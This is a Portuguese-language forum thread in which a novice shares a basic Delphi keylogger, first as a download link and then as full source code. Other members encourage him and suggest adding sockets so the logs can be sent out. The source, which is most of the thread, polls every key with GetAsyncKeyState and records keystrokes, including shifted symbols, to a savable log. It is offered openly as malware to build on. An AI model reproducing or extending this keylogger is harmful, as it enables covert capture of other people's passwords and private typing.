Bom pessoal, peço desculpas se alguem entro no topico pensando que teria um super KEYLLOGER , pois este é o basico do básico, pois nem server tem, somente para teste e pratica a experiencia.
estou postando ele para que vocês me ajudem se possivel, dando ideias do que eu poderia tah fazendo para incrimenta-lo me ajudando nos codigos tambem e etc.
segue abaixo o link de download.
http://rapidshare.com/files/46791867/keylogger_1.0.rar (http://rapidshare.com/files/46791867/keylogger_1.0.rar)
OBS: não se preocupem pois nem server tem, terá apenas 1 arquivo que é o aplicativo do Delphi.
Por favor criticas e sugestões são bem vindas.
Considere tambem que eu so muito novato ok ?
abraços.
posta o source ai brother!
que nois ajuda ai vc!
sources são sempre bem vindos! ;)
fui.
eh na verdade eu to pegando informações e juntando elas para que eu possa aprende neh ...
naum eh bem um keylogger pq naum tem server sabe...
mais to ainda iniciando entao eu vo aprendendu ao poucos...
um passo de cada vez ...
source aee...
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Image1: TImage;
GroupBox1: TGroupBox;
Timer1: TTimer;
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
SaveDialog1: TSaveDialog;
OpenDialog1: TOpenDialog;
procedure Timer1Timer(Sender: TObject);
procedure BmsXPButton2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
end;
procedure TForm1.BmsXPButton2Click(Sender: TObject);
begin
if opendialog1.execute then
Memo1.Lines.LoadFromFile(opendialog1.filename);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Savedialog1.execute then
memo1.lines.SaveToFile(Savedialog1.filename);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog1.execute then
Memo1.Lines.LoadFromFile(opendialog1.filename);
end;
end.
Quando eu tiver tempo dou uma olhada melhor nesse source!
apesar de não gostar muito de keyloggers.Tem muitos sources aqui no forum!
mais o que importa e que foi vc quem criou ele!
eu recomendaria vc aprender sockets!
são uma arma fatal

o limite é a sua criatividade!
continue estudadando!
fui.
Já é um bom começo amigo!
Vou te dar uma dica: procure renomear os componentes para que o código fique mais fácil de interpretar.

[]'s
ah sim ok, brigado pelas dicas, so corrigindo o que meu amigo Be.cool disse.
Não foi em quem fiz o codigo, foi um amigo meu, como estou aprendendo ainda, eu pego o codigo estudo ele intende ?
mais se haver outra versão o codigo sera meu

...
abraços ...
se deixates o project seria bem mais facil para analise
:B
Soh dei uma olhado depois para pra ver estou sem tempo estudanu pra ajuda o forum e me ajudar tbm
mis obrigado..ai
vou estudar fui flws
abraçao!